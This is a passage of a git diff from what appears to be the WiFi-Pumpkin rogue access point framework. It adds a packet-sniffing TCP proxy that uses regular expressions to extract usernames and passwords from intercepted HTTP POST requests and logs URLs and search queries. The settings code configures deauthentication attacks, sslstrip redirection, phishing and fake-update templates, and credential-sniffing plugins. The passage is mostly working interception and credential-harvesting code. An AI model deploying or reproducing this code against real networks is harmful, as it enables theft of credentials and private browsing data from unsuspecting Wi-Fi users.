type(QtGui.QCheckBox()): + self.TabPlugins.setCellWidget(m, n, item) + elif type(item) == type(dict()): + self.TabPlugins.setCellWidget(m, n, self.bt_SettingsDict[item['name']]) + else: + item = QtGui.QTableWidgetItem(item) + self.TabPlugins.setItem(m, n, item) + self.TabPlugins.setHorizontalHeaderLabels(self.THeaders.keys()) + + # check status all checkbox plugins + for box in self.check_PluginDict.keys(): + self.check_PluginDict[box].setChecked(self.config.get_setting('plugins', box, format=bool)) + + self.mainLayout.addWidget(self.tabcontrol) + self.layout = QtGui.QHBoxLayout() + self.layout.addWidget(self.scroll) + self.setLayout(self.layout) + + def onProxyDisabled(self): + self.handler = self.parent.Plugins.MITM + self.handler.CredMonitor.controlui.setChecked(False) + self.handler.URLMonitor.controlui.setChecked(False) + def onProxyEnabled(self): + self.handler=self.parent.Plugins.MITM + self.handler.CredMonitor.controlui.setChecked(True) + self.handler.URLMonitor.controlui.setChecked(True) + + + def setPluginOption(self, name, status): + ''' get each plugins status''' + # enable realtime disable and enable plugin + if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool): + self.reactor.disablePlugin(name, status) + self.config.set_setting('plugins', name, status) + + def search_all_ProxyPlugins(self): + ''' load all plugins function ''' + plugin_classes = default.PSniffer.__subclasses__() + for p in plugin_classes: + if p().Name != 'httpCap': + self.plugins.append(p()) + def boot(self): + self.handler = self.parent.Plugins.MITM + self.reactor=TCPProxyCore(str(self.Wireless.WLANCard.currentText()), self.parent.currentSessionID) + self.reactor.setObjectName(self.Name) + self.reactor._ProcssOutput.connect(self.LogOutput) + + def LogOutput(self,data): + if self.FSettings.Settings.get_setting('accesspoint', 'statusAP', format=bool): + if data.keys()[0] == 'urlsCap': + self.handler.URLMonitor.dockwidget.writeModeData(data) + self.logger.info('[ {0[src]} > {0[dst]} ] {1[Method]} {1[Host]}{1[Path]}'.format( + data['urlsCap']['IP'], data['urlsCap']['Headers'])) + elif data.keys()[0] == 'POSTCreds': + self.handler.CredMonitor.dockwidget.writeModeData(data) + self.LogCredsMonitor.info('URL: {}'.format(data['POSTCreds']['Url'])) + self.LogCredsMonitor.info('UserName: {}'.format(data['POSTCreds']['User'])) + self.LogCredsMonitor.info('UserName: {}'.format(data['POSTCreds']['Pass'])) + self.LogCredsMonitor.info('Packets: {}'.format(data['POSTCreds']['Destination'])) + elif data.keys()[0] == 'image': + self.handler.ImageCapture.SendImageTableWidgets(data['image']) + else: + self.tableLogging.writeModeData(data) + self.LogTcpproxy.info('[{}] {}'.format(data.keys()[0],data[data.keys()[0]])) + + +class TCPProxyCore(QThread): + _ProcssOutput = pyqtSignal(object) + def __init__(self,interface,session): + QThread.__init__(self) + self.interface = interface + self.session = session + self.stopped = False + self.config = SettingsINI(C.TCPPROXY_INI) + + def run(self): + self.main() + + def sniffer(self,q): + while not self.stopped: + try: + sniff(iface=self.interface, + filter="tcp and ( port 80 or port 8080 or port 10000)", + prn =lambda x : q.put(x), store=0) + except Exception:pass + if self.stopped: + break + + def disablePlugin(self,name, status): + ''' disable plugin by name ''' + plugin_on = [] + if status: + for plugin in self.plugins: + plugin_on.append(self.plugins[plugin].Name) + if name not in plugin_on: + for p in self.plugin_classes: + pluginconf = p() + if pluginconf.Name == name: + self.plugins[name] = pluginconf + self.plugins[name].getInstance()._activated = True + print('TCPProxy::{0:17} status:On'.format(name)) + else: + print('TCPProxy::{0:17} status:Off'.format(name)) + self.plugins.pop(self.plugins[name].Name) + + def main(self): + self.plugins = {} + self.plugin_classes = default.PSniffer.__subclasses__() + for p in self.plugin_classes: + plugin_load = p() + self.plugins[plugin_load.Name] = plugin_load + self.plugins[plugin_load.Name].output = self._ProcssOutput + self.plugins[plugin_load.Name].session = self.session + print '\n[*] TCPProxy running on port 80/8080:\n' + for name in self.plugins.keys(): + if self.config.get_setting('plugins', name, format=bool): + self.plugins[name].getInstance()._activated = True + print('TCPProxy::{0:17} status:On'.format(name)) + print('\n') + q = Queue.Queue() + sniff = Thread(target =self.sniffer, args = (q,)) + sniff.start() + while (not self.stopped): + try: + pkt = q.get(timeout = 0) + for Active in self.plugins.keys(): + if self.plugins[Active].getInstance()._activated: + try: + self.plugins[Active].filterPackets(pkt) + except Exception: pass + except Queue.Empty: + pass + + def snifferParser(self,pkt): + try: + if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6): + return + self.dport = pkt[TCP].dport + self.sport = pkt[TCP].sport + if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): + self.src_ip_port = str(pkt[IP].src)+':'+str(self.sport) + self.dst_ip_port = str(pkt[IP].dst)+':'+str(self.dport) + + if pkt.haslayer(Raw): + self.load = pkt[Raw].load + if self.load.startswith('GET'): + self.get_http_GET(self.src_ip_port,self.dst_ip_port,self.load) + self.searchBingGET(self.load.split('\n', 1)[0].split('&')[0]) + elif self.load.startswith('POST'): + header,url = self.get_http_POST(self.load) + self.getCredentials_POST(pkt.getlayer(Raw).load,url,header,self.dport,self.sport) + except: + pass + + def searchBingGET(self,search): + if 'search?q' in search : + searched = search.split('search?q=',1)[1] + searched = searched.replace('+',' ') + print 'Search::BING { %s }'%(searched) + + def getCredentials_POST(self,payload,url,header,dport,sport): + user_regex = '([Ee]mail|%5B[Ee]mail%5D|[Uu]ser|[Uu]sername|' \ + '[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)' + pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|' \ + '[Pp]asswrd|[Pp]assw|%5B[Pp]assword%5D)=([^&|;]*)' + username = re.findall(user_regex, payload) + password = re.findall(pw_regex, payload) + if not username ==[] and not password == []: + self._ProcssOutput.emit({'POSTCreds':{'User':username[0][1], + 'Pass': password[0][1],'Url':url,'destination':'{}/{}'.format(sport,dport)}}) + + def get_http_POST(self,load): + dict_head = {} + try: + headers, body = load.split("\r\n\r\n", 1) + header_lines = headers.split('\r\n') + for item in header_lines: + try: + dict_head[item.split()[0]] = item.split()[1] + except Exception: + pass + if 'Referer:' in dict_head.keys(): + return dict_head ,dict_head['Referer:'] + except ValueError: + return None,None + return dict_head, None + + def stop(self): + self.stopped = True + print 'Thread::[{}] successfully stopped.'.format(self.objectName()) diff --git a/core/servers/proxy/package/__init__.py b/core/servers/proxy/package/__init__.py new file mode 100644 index 0000000..9f6a139 --- /dev/null +++ b/core/servers/proxy/package/__init__.py @@ -0,0 +1,3 @@ +import os +import glob +__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/core/tools/Scenario/__init__.py b/core/tools/Scenario/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/core/tools/Scenario/loader.py b/core/tools/Scenario/loader.py new file mode 100644 index 0000000..e69de29 diff --git a/core/tools/Scenario/scenario.py b/core/tools/Scenario/scenario.py new file mode 100644 index 0000000..86c7414 --- /dev/null +++ b/core/tools/Scenario/scenario.py @@ -0,0 +1,3 @@ +class AttackScenario(): + def __init__(self): + pass diff --git a/core/tools/__init__.py b/core/tools/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/core/utility/application.py b/core/utility/application.py index 206e7a7..0460d4a 100644 --- a/core/utility/application.py +++ b/core/utility/application.py @@ -1,27 +1,7 @@ from PyQt4 import QtCore, QtGui import core.utility.constants as C from core.main import version - -""" -Description: - This program is a module for wifi-pumpkin.py manages the GUI - application's control flow and main settings. - -Copyright: - Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see -""" +from core.utility.settings import frm_Settings as SuperSettings class ApplicationLoop(QtGui.QApplication): @@ -35,6 +15,8 @@ def __init__(self, argv): self.setOrganizationName('P0cL4bs Team') self.setWindowIcon(QtGui.QIcon('icons/icon.ico')) self.setAppQTDesigner(self.style().objectName()) + self.Settings = SuperSettings() + self.Settings.hide() if self._memory.attach(): self._running = True else: @@ -42,9 +24,11 @@ def __init__(self, argv): if not self._memory.create(1): raise RuntimeError(self._memory.errorString()) + def setAppQTDesigner(self,style): if 'gtk+' in str(style).lower(): self.setStyle(QtGui.QStyleFactory.create(C.GTKTHEME)) + def isRunning(self): return self._running \ No newline at end of file diff --git a/core/utility/appsettings.py b/core/utility/appsettings.py new file mode 100644 index 0000000..ba874cf --- /dev/null +++ b/core/utility/appsettings.py @@ -0,0 +1,411 @@ +from os import path,popen +from re import search +from PyQt4.QtCore import * +from PyQt4.QtGui import * +from core.utility.meta import * +from core.utility.collection import SettingsINI +import core.utility.constants as C + +""" +Description: + This program is a module for wifi-pumpkin.py. + +Copyright: + Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see +""" + +class SettingsTabGeneral(QVBoxLayout): + def __init__(self,Settings=None,parent= None): + super(SettingsTabGeneral, self).__init__(parent) + self.Settings = Settings + self.mainLayout = QFormLayout() + self.scrollwidget = QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + + self.GruPag0=QButtonGroup() + self.GruPag1=QButtonGroup() + self.GruPag2=QButtonGroup() + self.GruPag3=QButtonGroup() + self.GruPag4=QButtonGroup() + self.GruPag5=QButtonGroup() + + # group options + self.groupAP = QGroupBox() + self.groupDhcp = QGroupBox() + self.groupDNS = QGroupBox() + self.groupDeauth = QGroupBox() + self.groupScan = QGroupBox() + self.groupThemes = QGroupBox() + + #form group + self.formGroupAP = QFormLayout() + self.formGroupDHCP = QFormLayout() + self.formGroupDNS = QFormLayout() + self.formGroupDeauth = QFormLayout() + self.formGroupScan = QFormLayout() + self.formGroupThemes = QFormLayout() + + # set layout into groupbox + self.groupAP.setLayout(self.formGroupAP) + self.groupDhcp.setLayout(self.formGroupDHCP) + self.groupDNS.setLayout(self.formGroupDNS) + self.groupDeauth.setLayout(self.formGroupDeauth) + self.groupScan.setLayout(self.formGroupScan) + self.groupThemes.setLayout(self.formGroupThemes) + + self.groupAP.setTitle('Access Point:') + self.groupDhcp.setTitle('DHCP Server:') + self.groupDNS.setTitle('DNS Server:') + self.groupDeauth.setTitle('Deauth Attack:') + self.groupScan.setTitle('Scan Network:') + self.groupThemes.setTitle('Pumpkin Themes:') + + #page general + self.Apname = QLineEdit() + self.Apname.setFixedWidth(80) + self.channel = QSpinBox() + self.checkConnectionWifi = QCheckBox('Verify Wireless Connection GUI on startup') + self.network_manager = QCheckBox('Ignore USB Wi-Fi Adapter permanently') + self.network_manager.setToolTip('We will use this file to tell Network Manager to stop controlling ' + 'a particular interface.\nif you enable this options in next time you start AP the tool will not ' + 'remove the key\nfor exclude card in file of configuration.') + self.checkConnectionWifi.setToolTip('We will use this file to tell Network Manager to stop controlling ' + 'a particular interface.\nif you enable this options in next time you start AP the tool will not ' + 'check if you is connected on Wireless connection for \nfor exclude card in file of configuration.') + self.network_manager.setChecked(self.Settings.get_setting('accesspoint','persistNetwokManager',format=bool)) + self.checkConnectionWifi.setChecked(self.Settings.get_setting('accesspoint','checkConnectionWifi',format=bool)) + + #page 1 widgets + self.AP_0 = QRadioButton('Hostapd') + self.AP_1 = QRadioButton('Hostapd C. Binary (support hostapd-mana)') + self.AP_0.setObjectName('hostapd_normal') + self.AP_1.setObjectName('hostapd_edit') + self.edit_hostapd_path = QLineEdit('') + self.d_scapy = QRadioButton('Scapy Deauth') + self.d_mdk = QRadioButton('mdk3 Deauth') + self.scan_scapy = QRadioButton('Scan from scapy') + self.scan_airodump = QRadioButton('Scan from airodump-ng') + self.dhcpdserver = QRadioButton('Isc DHCP Server (dhcpd)') + self.pydhcpserver = QRadioButton('python DHCPServer') + self.ch_pyDNS_server = QRadioButton('Python DNS Server') + self.ch_DNSproxy_server = QRadioButton('dnsproxy as DNS-Server') + self.theme1 = QRadioButton('theme Default') + self.theme2 = QRadioButton('theme Blue Dark ') + self.theme3 = QRadioButton('theme Orange Dark') + self.theme1.setObjectName('themes/'+''.join(str(self.theme1.text()).split())) + self.theme2.setObjectName('themes/'+''.join(str(self.theme2.text()).split())) + self.theme3.setObjectName('themes/'+''.join(str(self.theme3.text()).split())) + #grup page 1 + self.GruPag0.addButton(self.AP_0) + self.GruPag0.addButton(self.AP_1) + self.GruPag1.addButton(self.d_scapy) + self.GruPag1.addButton(self.d_mdk) + self.GruPag2.addButton(self.pydhcpserver) + self.GruPag2.addButton(self.dhcpdserver) + self.GruPag5.addButton(self.ch_pyDNS_server) + self.GruPag5.addButton(self.ch_DNSproxy_server) + self.GruPag3.addButton(self.scan_scapy) + self.GruPag3.addButton(self.scan_airodump) + self.GruPag4.addButton(self.theme1) + self.GruPag4.addButton(self.theme2) + self.GruPag4.addButton(self.theme3) + + #page 1 config widgets + self.GruPag0.buttonClicked.connect(self.get_options_hostapd) + self.Apname.setText(self.Settings.get_setting('accesspoint','ssid')) + self.channel.setValue(int(self.Settings.get_setting('accesspoint','channel'))) + self.d_scapy.setChecked(self.Settings.get_setting('settings','scapy_deauth',format=bool)) + self.d_mdk.setChecked(self.Settings.get_setting('settings','mdk3_deauth',format=bool)) + self.scan_scapy.setChecked(self.Settings.get_setting('settings','scan_scapy',format=bool)) + self.scan_airodump.setChecked(self.Settings.get_setting('settings','scan_airodump',format=bool)) + self.pydhcpserver.setChecked(self.Settings.get_setting('accesspoint', 'pydhcp_server',format=bool)) + self.dhcpdserver.setChecked(self.Settings.get_setting('accesspoint', 'dhcpd_server',format=bool)) + self.ch_pyDNS_server.setChecked(self.Settings.get_setting('accesspoint', 'pydns_server',format=bool)) + self.ch_DNSproxy_server.setChecked(self.Settings.get_setting('accesspoint', 'dnsproxy_server',format=bool)) + self.theme_selected = self.Settings.get_setting('settings','themes') + + check_path_hostapd = self.Settings.get_setting('accesspoint','hostapd_path') + if len(check_path_hostapd) > 2: self.edit_hostapd_path.setText(check_path_hostapd) + check_hostapd_custom = self.Settings.get_setting('accesspoint','hostapd_custom',format=bool) + if check_hostapd_custom: + self.AP_1.setChecked(True) + else: + self.edit_hostapd_path.setEnabled(False) + self.AP_0.setChecked(True) + + # setting page 1 + if self.theme_selected in self.theme1.objectName(): + self.theme1.setChecked(True) + elif self.theme_selected in self.theme2.objectName(): + self.theme2.setChecked(True) + elif self.theme_selected in self.theme3.objectName(): + self.theme3.setChecked(True) + self.formGroupAP.addRow('SSID:',self.Apname) + self.formGroupAP.addRow('Channel:',self.channel) + self.formGroupAP.addRow(self.AP_0) + self.formGroupAP.addRow(self.AP_1) + self.formGroupAP.addRow('Location:',self.edit_hostapd_path) + self.formGroupAP.addRow(self.network_manager) + self.formGroupAP.addRow(self.checkConnectionWifi) + self.formGroupDeauth.addRow(self.d_scapy) + self.formGroupDeauth.addRow(self.d_mdk) + self.formGroupScan.addRow(self.scan_scapy) + self.formGroupScan.addRow(self.scan_airodump) + self.formGroupDHCP.addRow(self.pydhcpserver) + self.formGroupDHCP.addRow(self.dhcpdserver) + self.formGroupDNS.addRow(self.ch_pyDNS_server) + self.formGroupDNS.addRow(self.ch_DNSproxy_server) + self.formGroupThemes.addRow(self.theme1) + self.formGroupThemes.addRow(self.theme2) + self.formGroupThemes.addRow(self.theme3) + + self.mainLayout.addRow(self.groupAP) + self.mainLayout.addRow(self.groupDhcp) + self.mainLayout.addRow(self.groupDNS) + self.mainLayout.addRow(self.groupScan) + self.mainLayout.addRow(self.groupDeauth) + self.mainLayout.addRow(self.groupThemes) + + self.layout = QHBoxLayout() + self.layout.addWidget(self.scroll) + self.addLayout(self.layout) + + def get_options_hostapd(self,option): + '''check if Qradiobox is clicked ''' + if option.objectName() == 'hostapd_edit': + return self.edit_hostapd_path.setEnabled(True) + if option.objectName() == 'hostapd_normal': + hostapd = popen('which hostapd').read().split('\n')[0] + if path.isfile(hostapd): + self.edit_hostapd_path.setText(hostapd) + self.edit_hostapd_path.setEnabled(False) + + +class SettingsRegister(QDialog): + def __init__(self, parent = None): + super(SettingsRegister, self).__init__(parent) + self.setWindowTitle('WiFi-Pumpkin - Settings') + self.Settings = SettingsINI(C.CONFIG_INI) + self.loadtheme(self.get_theme_qss()) + self.setGeometry(0, 0, 420, 440) + self.center() + self.Qui() + + def loadtheme(self,theme): + ''' load theme widgets ''' + sshFile=("core/%s.qss"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + + def get_theme_qss(self): + ''' get theme selected path''' + return self.Settings.get_setting('settings','themes') + + def center(self): + ''' set center widgets ''' + frameGm = self.frameGeometry() + centerPoint = QDesktopWidget().availableGeometry().center() + frameGm.moveCenter(centerPoint) + self.move(frameGm.topLeft()) + + def save_settings(self): + self.Settings.set_setting('settings','scapy_deauth',self.pageTab1.d_scapy.isChecked()) + self.Settings.set_setting('settings','mdk3_deauth',self.pageTab1.d_mdk.isChecked()) + self.Settings.set_setting('settings','scan_scapy',self.pageTab1.scan_scapy.isChecked()) + self.Settings.set_setting('settings','scan_airodump',self.pageTab1.scan_airodump.isChecked()) + self.Settings.set_setting('accesspoint','dhcpd_server',self.pageTab1.dhcpdserver.isChecked()) + self.Settings.set_setting('accesspoint','pydhcp_server',self.pageTab1.pydhcpserver.isChecked()) + self.Settings.set_setting('accesspoint','pydns_server',self.pageTab1.ch_pyDNS_server.isChecked()) + self.Settings.set_setting('accesspoint','dnsproxy_server',self.pageTab1.ch_DNSproxy_server.isChecked()) + if self.pageTab1.theme1.isChecked(): + self.Settings.set_setting('settings','themes',str(self.pageTab1.theme1.objectName())) + elif self.pageTab1.theme2.isChecked(): + self.Settings.set_setting('settings','themes',str(self.pageTab1.theme2.objectName())) + elif self.pageTab1.theme3.isChecked(): + self.Settings.set_setting('settings','themes',str(self.pageTab1.theme3.objectName())) + if self.pageTab1.AP_0.isChecked(): + self.Settings.set_setting('accesspoint','hostapd_custom',False) + elif self.pageTab1.AP_1.isChecked(): + self.Settings.set_setting('accesspoint','hostapd_custom',True) + + self.Settings.set_setting('settings','mdk3',str(self.txt_arguments.text())) + self.Settings.set_setting('settings','scanner_rangeIP',str(self.txt_ranger.text())) + self.Settings.set_setting('accesspoint','ssid', str(self.pageTab1.Apname.text())) + self.Settings.set_setting('accesspoint','channel', str(self.pageTab1.channel.value())) + self.Settings.set_setting('accesspoint','persistNetwokManager',self.pageTab1.network_manager.isChecked()) + self.Settings.set_setting('accesspoint','checkConnectionWifi',self.pageTab1.checkConnectionWifi.isChecked()) + self.Settings.set_setting('accesspoint','check_support_ap_mode',self.check_interface_mode_AP.isChecked()) + self.Settings.set_setting('settings','redirect_port', str(self.redirectport.text())) + if not path.isfile(self.pageTab1.edit_hostapd_path.text()): + return QMessageBox.warning(self,'Path Hostapd Error','hostapd binary path is not found') + self.Settings.set_setting('accesspoint','hostapd_path',self.pageTab1.edit_hostapd_path.text()) + with open(C.HOSTAPDCONF_PATH2,'w') as apconf: + apconf.write(self.ListHostapd.toPlainText()) + self.close() + + + def listItemclicked(self,pos): + ''' add,remove and edit rules iptables from WIFi-Pumpkin''' + item = self.ListRules.selectedItems() + self.listMenu= QMenu() + menu = QMenu() + additem = menu.addAction('Add') + editem = menu.addAction('Edit') + removeitem = menu.addAction('Remove ') + clearitem = menu.addAction('clear') + action = menu.exec_(self.ListRules.viewport().mapToGlobal(pos)) + if action == removeitem: + if item != []: + self.ListRules.takeItem(self.ListRules.currentRow()) + elif action == additem: + text, resp = QInputDialog.getText(self, 'Add rules iptables', + 'Enter the rules iptables:') + if resp: + try: + itemsexits = [] + for index in xrange(self.ListRules.count()): + itemsexits.append(str(self.ListRules.item(index).text())) + for i in itemsexits: + if search(str(text),i): + return QMessageBox.information(self,'Rules exist','this rules already exist!') + item = QListWidgetItem() + item.setText(text) + item.setSizeHint(QSize(30,30)) + self.ListRules.addItem(item) + except Exception as e: + return QMessageBox.information(self,'error',str(e)) + elif action == editem: + text, resp = QInputDialog.getText(self, 'Add rules for iptables', + 'Enter the rules iptables:',text=self.ListRules.item(self.ListRules.currentRow()).text()) + if resp: + try: + itemsexits = [] + for index in xrange(self.ListRules.count()): + itemsexits.append(str(self.ListRules.item(index).text())) + for i in itemsexits: + if search(str(text),i): + return QMessageBox.information(self,'Rules exist','this rules already exist!') + item = QListWidgetItem() + item.setText(text) + item.setSizeHint(QSize(30,30)) + self.ListRules.insertItem(self.ListRules.currentRow(),item) + except Exception as e: + return QMessageBox.information(self,'error',str(e)) + elif action == clearitem: + self.ListRules.clear() + + def Qui(self): + self.Main = QVBoxLayout() + self.formGroupAd = QFormLayout() + self.form = QFormLayout() + self.tabcontrol = QTabWidget() + + # tabs + self.tab1 = QWidget() + self.tab2 = QWidget() + self.tab3 = QWidget() + self.tab4 = QWidget() + + self.page_1 = QVBoxLayout(self.tab1) + self.page_2 = QFormLayout(self.tab2) + self.page_3 = QFormLayout(self.tab3) + self.page_4 = QFormLayout(self.tab4) + + self.tabcontrol.addTab(self.tab1, 'General') + self.tabcontrol.addTab(self.tab2, 'Advanced') + self.tabcontrol.addTab(self.tab3,'Iptables') + self.tabcontrol.addTab(self.tab4,'Hostpad') + + self.pageTab1 = SettingsTabGeneral(self.Settings) + self.page_1.addLayout(self.pageTab1) + + self.groupAdvanced = QGroupBox() + self.groupAdvanced.setTitle('Advanced Settings:') + self.groupAdvanced.setLayout(self.formGroupAd) + + self.btn_save = QPushButton('Save') + self.btn_save.clicked.connect(self.save_settings) + self.btn_save.setFixedWidth(80) + self.btn_save.setIcon(QIcon('icons/Save.png')) + + + #page Adavanced + self.txt_ranger = QLineEdit(self) + self.txt_arguments = QLineEdit(self) + self.scan1 = QRadioButton('Ping Scan:: Very fast IP scan') + self.scan2 = QRadioButton('Python-Nmap:: Get hostname from IP') + self.redirectport = QLineEdit(self) + self.check_interface_mode_AP = QCheckBox('Check if interface supports AP/Mode') + self.check_interface_mode_AP.setChecked(self.Settings.get_setting('accesspoint','check_support_ap_mode',format=bool)) + self.check_interface_mode_AP.setToolTip('if you disable this options in next time, the interface is not should ' + 'checked if has support AP mode.') + + # page Iptables + self.ListRules = QListWidget(self) + self.ListRules.setFixedHeight(300) + self.ListRules.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn) + self.ListRules.setContextMenuPolicy(Qt.CustomContextMenu) + self.ListRules.connect(self.ListRules, + SIGNAL('customContextMenuRequested(QPoint)'), + self.listItemclicked) + for ech in self.Settings.get_all_childname('iptables'): + item = QListWidgetItem() + item.setText(str(self.Settings.get_setting('iptables',ech,format=str))) + item.setSizeHint(QSize(30,30)) + self.ListRules.addItem(item) + + # page hostpad + self.ListHostapd = QTextEdit(self) + self.ListHostapd.setFixedHeight(300) + with open(C.HOSTAPDCONF_PATH2,'r') as apconf: + self.ListHostapd.setText(apconf.read()) + + # grup page 2 + self.gruButtonPag2 = QButtonGroup() + self.gruButtonPag2.addButton(self.scan1) + self.gruButtonPag2.addButton(self.scan2) + + self.txt_ranger.setText(self.Settings.get_setting('settings','scanner_rangeIP')) + self.txt_arguments.setText(self.Settings.get_setting('settings','mdk3')) + self.scan2.setEnabled(False) + self.scan1.setChecked(True) + #settings tab Advanced + self.redirectport.setText(self.Settings.get_setting('settings','redirect_port')) + + #add tab Advanced + self.formGroupAd.addRow(QLabel('Thread Scan IP-Address:')) + self.formGroupAd.addRow(self.scan1) + self.formGroupAd.addRow(self.scan2) + self.formGroupAd.addRow(self.check_interface_mode_AP) + self.formGroupAd.addRow('Port sslstrip:',self.redirectport) + self.formGroupAd.addRow(QLabel('mdk3 Args:'),self.txt_arguments) + self.formGroupAd.addRow(QLabel('Range Scanner:'),self.txt_ranger) + self.page_2.addRow(self.groupAdvanced) + + #add tab iptables + self.page_3.addWidget(QLabel('Iptables:')) + self.page_3.addRow(self.ListRules) + + #add tab hostpad + self.page_4.addWidget(QLabel('settings hostapd:')) + self.page_4.addRow(self.ListHostapd) + + self.form.addRow(self.tabcontrol) + self.form.addRow(self.btn_save) + self.Main.addLayout(self.form) + self.setLayout(self.Main) diff --git a/core/utility/component.py b/core/utility/component.py new file mode 100644 index 0000000..4eb3c1f --- /dev/null +++ b/core/utility/component.py @@ -0,0 +1,74 @@ +from core.config.globalimport import * + +class ComponentBlueprint(object): + Name = "GenericComponent" + ID = "Generic" + def __init__(self): + super(ComponentBlueprint,self).__init__() + self.reactor = None + self.service = None + + def Initialize(self): + """ + Initialise everything here + :return: + """ + pass + def boot(self): + """ + Thing you will need to do aftere initialization here + :return: + """ + pass + def postBoot(self): + """ + Things you do after boot here + :return: + """ + pass + def shutdown(self): + pass + def LogOutput(self,data): + print data + def Start(self): + self.PreBoot() + self.Initialize() + self.boot() + self.PostBoot() + def Stop(self): + pass + @property + def Settings(self): + pass + + def stupidthings(self): + print "From Component Blueprint" + def PreBoot(self): + pass + def PostBoot(self): + pass + + +class ControllerBlueprint(object): + def __init__(self): + super(ControllerBlueprint,self).__init__() + @property + def Active(self): + pass + @property + def ActiveReactor(self): + pass + @property + def ActiveService(self): + pass + @property + def Start(self): + pass + def Stop(self): + pass + def SaveLog(self): + pass + + def LogOutput(self, data): + pass + diff --git a/core/utility/constants.py b/core/utility/constants.py index 31cc6fc..e2c3928 100644 --- a/core/utility/constants.py +++ b/core/utility/constants.py @@ -1,28 +1,7 @@ import os -""" -Description: - This program is a module for wifi-pumpkin.py file which includes functionality - declare constants . - -Copyright: - Copyright (C) 2015-2017 Marcos Nesster P0cl4bs Team - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see -""" - dir_of_executable = os.path.dirname(__file__) -dir_path = os.getcwd() + # window constants GEOMETRYH = 820 GEOMETRYW = 500 @@ -42,9 +21,6 @@ "padding: 5px")) -PUMPKINPROXY_notify = 'the package requirement mitmproxy==0.18.2 is ' \ - 'not satisfied.' - #donation button DONATE = 'https://github.com/P0cL4bs/WiFi-Pumpkin#donation' DONATE_TXT = 'Consider donating to support the development and maintenance of WiFi-Pumpkin. ' @@ -75,6 +51,7 @@ LOG_PHISHING = 'logs/Phishing/requests.log' LOG_DHCP = 'logs/AccessPoint/dhcp.log' LOG_HOSTAPD = 'logs/AccessPoint/hostapd.log' +LOG_ALL = 'logs/everything.log' #APP SETTINGS @@ -82,9 +59,12 @@ TCPPROXY_INI = 'core/config/app/tcpproxy.ini' PUMPPROXY_INI = 'core/config/app/proxy.ini' TEMPLATES = 'templates/fakeupdate/Windows_Update/Settins_WinUpdate.html' +TEMPLATES_WWW = 'templates/www/portal/index.html' TEMPLATE_PH = 'templates/phishing/custom/index.html' TEMPLATE_CLONE = 'templates/phishing/web_server/index.html' EXTRACT_TEMP = 'cd templates/ && tar -xf fakeupdate.tar.gz' + +EXTRACT_WWW = 'cd templates/ && tar -xf www.tar.gz' LCOMMITS = 'https://raw.githubusercontent.com/P0cL4bs/WiFi-Pumpkin/0.8.7Beta/core/config/commits/Lcommits.cfg' SOURCE_URL = 'https://github.com/P0cL4bs/WiFi-Pumpkin.git' @@ -94,11 +74,13 @@ TEMP_Java = dir_path+'/templates/fakeupdate/Java_Update' #plugins path +FIRELAMB_EXEC = 'plugins/external/firelamb/firelamb.py' RESPONDER_EXEC = 'plugins/external/Responder/Responder.py' DNS2PROXY_EXEC = 'plugins/external/dns2proxy/dns2proxy.py' +NETCREDS_EXEC = 'plugins/external/net-creds/net-creds.py' BDFPROXY_EXEC = 'plugins/external/BDFProxy-ng/bdf_proxy.py' #colors YELLOW = '\033[33m' RED = '\033[91m' -ENDC = '\033[0m' \ No newline at end of file +ENDC = '\033[0m' diff --git a/core/utility/ipclass.py b/core/utility/ipclass.py new file mode 100644 index 0000000..1ad8bac --- /dev/null +++ b/core/utility/ipclass.py @@ -0,0 +1,14 @@ +from core.config.globalimport import * +class IP(): + Name="Default" + ID="Default" + def __init__(self): + super(IP,self).__init__() + self.FSettings= SuperSettings.getInstance() + self.ClassRanges = "" + self.DefaultLease = 600 + self.MaxLease = 7200 + self.Subnet = "" + self.Netmask="" + self.Router="" + self.Broadcast="" \ No newline at end of file diff --git a/core/utility/meta.py b/core/utility/meta.py new file mode 100644 index 0000000..4081629 --- /dev/null +++ b/core/utility/meta.py @@ -0,0 +1,12 @@ +""" +This class is used for metaclass definition + +""" + +class SingletonType(type): + def __call__(cls, *args, **kwargs): + try: + return cls.__instance + except AttributeError: + cls.__instance = super(SingletonType, cls).__call__(*args, **kwargs) + return cls.__instance \ No newline at end of file diff --git a/core/utility/settings.py b/core/utility/settings.py index 24af58d..ff9b905 100644 --- a/core/utility/settings.py +++ b/core/utility/settings.py @@ -1,7 +1,9 @@ from os import path,popen from re import search +import weakref from PyQt4.QtCore import * from PyQt4.QtGui import * +from core.utility.meta import * from core.utility.collection import SettingsINI import core.utility.constants as C @@ -196,14 